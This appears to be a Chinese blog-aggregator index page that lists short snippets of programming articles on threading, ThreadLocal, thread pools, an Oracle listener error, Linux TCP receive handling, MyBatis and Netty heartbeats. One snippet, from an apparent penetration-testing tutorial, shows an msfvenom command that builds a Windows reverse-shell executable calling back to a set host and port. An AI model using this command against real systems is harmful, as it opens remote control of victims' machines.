使用多线程+信号与槽进行处理,可实现功能,效果如图 主线程触发了信号,立即执行结束,等待下一包数据到来; 子线程sub1花费2s时间发送数据; 子线程sub2花费4s时间存储数据。 当主线程每2s完成一次数据重组时,子线程sub2将会如何处理数据,是选择丢包同步,还是队列等待? 通过做实验,结果如图 ...
分类:
编程语言 时间:
2019-10-31 21:19:30
阅读次数:
118
1、查看该模块的可用参数 msfvenom -p windows/shell_reverse_tcp --list-options 2、生成攻击载荷 msfvenom -p windows/shell_reverse_tcp LHOST=10.180.7.20 LPORT=31337 -f exe ...
分类:
其他好文 时间:
2019-10-31 20:07:52
阅读次数:
109
在阅读Handler源码时发现了这么一个东西,本想直混在其他博客中一笔带过,但仔细想了下这个东西还是蛮重要的,于是开了这篇博客。 ThreadLocal threadlocal使用方法很简单 threadlocal而是一个线程内部的存储类,可以在指定线程内存储数据,数据存储以后,只有指定线程可以得到 ...
分类:
其他好文 时间:
2019-10-30 19:58:41
阅读次数:
84
The listener supports no services 问题处理办法 ...
分类:
数据库 时间:
2019-10-30 13:48:01
阅读次数:
130
tcp_v4_rcv函数为TCP的总入口,数据包从IP层传递上来,进入该函数;其协议操作函数结构如下所示,其中handler即为IP层向TCP传递数据包的回调函数,设置为tcp_v4_rcv; 在IP层处理本地数据包时,会获取到上述结构的实例,并且调用实例的handler回调,也就是调用了tcp_v ...
分类:
其他好文 时间:
2019-10-28 14:37:40
阅读次数:
87
一般使用Executors类来创建线程池 1. 进一步查看代码,可以看到newFixedThreadPool,newCacheThreadPool,newSingleThreadExecutor其实都是都通过ThreadPoolExecutor()来创建的,只是传入的参数不同,源码如下,需要解释每个 ...
分类:
编程语言 时间:
2019-10-27 23:01:38
阅读次数:
110
1、线程id和name 线程id是线程的唯一标识,不可修改,而线程名称是可以修改的。 从结果看到,主线程的id为1,所以线程的id也是从1开始的,而新建的子线程的id为12,而不是我们猜想的2。 通过查看源码,知道线程id的规则如下: 这里是++threadSeqNumber实现自增,那为什么子线程 ...
分类:
编程语言 时间:
2019-10-27 22:59:17
阅读次数:
97
1. SessionFactory 对于任何框架而言,在使用前都要进行一系列的初始化,MyBatis也不例外. SqlSessionFactory是MyBatis框架中的一个接口,主要负责MyBatis框架初始化操作以及为开发人员提供SqlSession对象. SqlSessionFactory有两 ...
分类:
其他好文 时间:
2019-10-27 21:09:38
阅读次数:
78
继续基于我们之前的demo(参见netty5自定义私有协议实例 ),这次我们加上连接校验和心跳机制: 只要校验通过,客户端发送心跳和业务消息是两个不同的事件发送的,彼此互不干扰。针对以上流程,我们需要增加4个handler:客户端请求handler、心跳handler ,服务端校验handler、心 ...
分类:
Web程序 时间:
2019-10-27 00:42:57
阅读次数:
132